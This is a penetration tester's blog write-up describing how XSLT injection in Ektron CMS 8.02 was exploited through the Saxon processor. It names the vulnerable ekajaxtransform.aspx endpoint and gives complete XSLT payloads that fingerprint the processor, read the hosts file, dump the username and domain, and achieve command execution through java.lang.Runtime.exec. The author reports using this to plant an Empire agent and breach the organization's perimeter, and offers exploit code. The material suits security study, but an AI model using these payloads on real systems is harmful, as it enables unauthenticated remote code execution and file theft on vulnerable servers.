Slack Github

XSLT Injection Basics - Saxon

Recently I was tasked with doing a web app test for a large organization. The application itself was not of great interest given that it only had a few dynamic parameters but instead the application stack was where my interest was aroused. After running dirbuster I found an interesting file on the server.

It was a JavaScript file that gave the version number and name of a CMS: Ektron CMS 8.02.

A quick Google search for vulnerabilities returned this Microsoft Research Advisory.

In it is states:

...vulnerability exists when Ektron Web CMS improperly handles user-controlled XSL data within the XslCompiledTransform class, resulting in unauthenticated arbitrary code execution...

This got me pretty excited, understandably. Further digging led me to the actual vulnerable URL.

The URL itself can be found here:

https(s)://host/WorkArea/ContentDesigner/ekajaxtransform.aspx

I browsed to the URL and it was there, so that confirmed at least, that there might be the presence of the vulnerability.

Next step was to enumerate the actual XSLT transform engine. I sent a POST request with Burp with the following XSLT injection as the POST parameter:

xslt=<?xml version="1.0" encoding="ISO-8859-1"?>
 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/">
 <html>
 <body>
 Version: <xsl:value-of select="system-property('xsl:version')" />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
 </body>
 </html>
 </xsl:template>
 </xsl:stylesheet>

This yielded a confirmation that the Microsoft XSLT processor had transformed the input and gave me back a response with information about it:

Version: 1
Vendor: Microsoft
Vendor URL: http://www.microsoft.com

Things were looking good. After some more searching I found that there exists a Metasploit module for this attack.

I set the parameters and hit check, but it returned that it was not vulnerable. I did not run the module but instead decided to see what it does.

Essentially it is making a POST request to the URL with the following segment being of most interest:

In it, it invokes a script:

<msxsl:script language="C#" implements-prefix="user">

After a bit of digging I discovered that this means that you can run C# scripts as the current Microsoft XSLT processors make it possible to implement extensions either directly in the XSLT document or within out-of-band extension objects.

You can essentially embed extension code within the XSLT document (or parameter) through the script element that comes from the Microsoft urn:schemas-microsoft-com:xslt namespace.

So I decided to run a simpler payload to try and ping my DNS listener:

xslt=<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
          {
              System.Diagnostics.Process.Start("cmd.exe /C ping IP");
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
    </xsl:template>
  </xsl:stylesheet>
When I sent the above in a POST request I received a response with the following:
Execution of scripts was prohibited. Use the XsltSettings.EnableScript property to enable it

That's why the Metasploit module check came back as not vulnerable. The exploit attempts to run an embedded C# script, and owing to scripts being disabled, it does not work.

At this point I assumed that the vulnerability was patched and not vulnerable to RCE. However I did not want to give up, so I decided to go looking for more information around XSLT injection.

After quite a bit of searching, I came across this document, which while in German, is the most comprehensive document I could find on the topic. This document from IOActive is also very useful.

From my understanding Ektron CMS comes with another in-built XSLT processor. This is called Saxon. I also discovered from the above documents that there are numerous Saxon versions, and also numerous other XSLT processors like Xalan.

So it was time to enumerate the Saxon version. To do this I sent the following payload:

 
xslt=<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>
 

In the response was the Saxon version:

Version: 2.0
Vendor: SAXON 9.x.x.x from Saxonica
Vendor URL: http://www.saxonica.com/

This was good news - Saxon was also transforming the input I was giving it, and so perhaps I would be able to enumerate some files, information and possibly even achieve command execution.

After some reading and trial and error I sent the following XSLT payloads to achieve various feedback:

 
READ FILES
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="unparsed-text('file:///C:/Windows/System32/drivers/etc/hosts')"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>
 
Display Current Working Directory
 
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:CurrentDirectory()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
  </xsl:transform>
 
Current Username and Domain
 
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:UserName()"/>
<xsl:value-of select="env:UserDomainName()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>
 

All of the above commands allowed me to enumerate information about the host, and if I had more information about the internal directory structure from perhaps an error I could have read more interesting files.

Owing to the level of permissions of the processor I was not able to read things like SAM etc.

Next I wanted command execution. However despite the literature on the topic, there was not a working XSLT style-sheet that I could just use out of the box.

There were fragments. In the German document I linked before it had a number of examples for code execution with Java using the Xalan processor, however in the example for the Saxon processor it did not declare a namespace.

When I tried building the template and sending it, I kept getting an error. I then found this document which again is very useful but again the examples only dealt with part of the style-sheet:

<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'notepad.exe')"
xmlns:Runtime="java:java.lang.Runtime"/>

So I hopped onto a IRC channel for XML, which didn't turn out to be that useful and so went over to Saxonica.

Saxonica has some great documentation about functions and namespaces and more, and allowed me to get to put a valid XSLT structure in place to get command execution:

 
xslt=<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
 

What had eluded me for many hours was declaring the namespace for java:

xmlns:java="http://saxon.sf.net/java-type">

Without declaring the namespace I was met with an error whereby the processor could not find the external object or script associated with java:java.lang.Runtime.

The payload above worked and allowed me to execute commands, and to connect back with an Empire agent shortly after - so I breached the external perimeter of the organization through the web app.

I've taken the time to put together some exploit code for this using the payload above to achieve command execution. So if you find that Microsoft's XSLT processor EnableScript is set to False, meaning the Metasploit module does not work, then grab the rough exploit from this blog post to save some time, and follow the command prompts...